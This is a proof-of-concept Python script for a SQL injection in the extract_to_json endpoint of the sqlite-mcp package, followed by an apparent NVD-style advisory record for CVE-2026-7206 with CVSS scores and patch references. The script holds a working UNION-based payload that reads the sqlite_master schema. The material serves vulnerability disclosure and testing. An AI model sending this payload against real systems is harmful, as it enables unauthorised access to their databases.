CVE-2026-7206

# Proof of Concept for CVE-2026-7206 # This script demonstrates the SQL Injection vulnerability in the 'output_filename' parameter. import requests def exploit_sql_injection(target_url): # The vulnerable endpoint endpoint = f"{target_url}/extract_to_json" # Malicious payload to test SQL Injection # Example payload to extract sqlite_master table information payload = "test' UNION SELECT 1, sql, 3 FROM sqlite_master--" params = { "output_filename": payload } try: print(f"[*] Sending payload to {endpoint}") response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response body: {response.text[:500]}") print("[*] Check the response for database schema leakage or errors indicating SQL execution.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:8000" exploit_sql_injection(target)

{"cve": {"id": "CVE-2026-7206", "sourceIdentifier": "[email protected]", "published": "2026-04-28T01:16:02.150", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in dubydu sqlite-mcp up to 0.1.0. The affected element is the function extract_to_json of the file src/entry.py. Performing a manipulation of the argument output_filename results in sql injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The patch is named a5580cb992f4f6c308c9ffe6442b2e76709db548. Applying a patch is the recommended action to fix this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/dubydu/sqlite-mcp/", "source": "[email protected]"}, {"url": "https://github.com/dubydu/sqlite-mcp/commit/a5580cb992f4f6c308c9ffe6442b2e76709db548", "source": "[email protected]"}, {"url": "https://github.com/dubydu/sqlite-mcp/issues/1", "source": "[email protected]"}, {"url": "https://github.com/dubydu/sqlite-mcp/pull/2", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/802081", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359806", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359806/cti", "source": "[email protected]"}, {"url": "https://github.com/dubydu/sqlite-mcp/issues/1", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}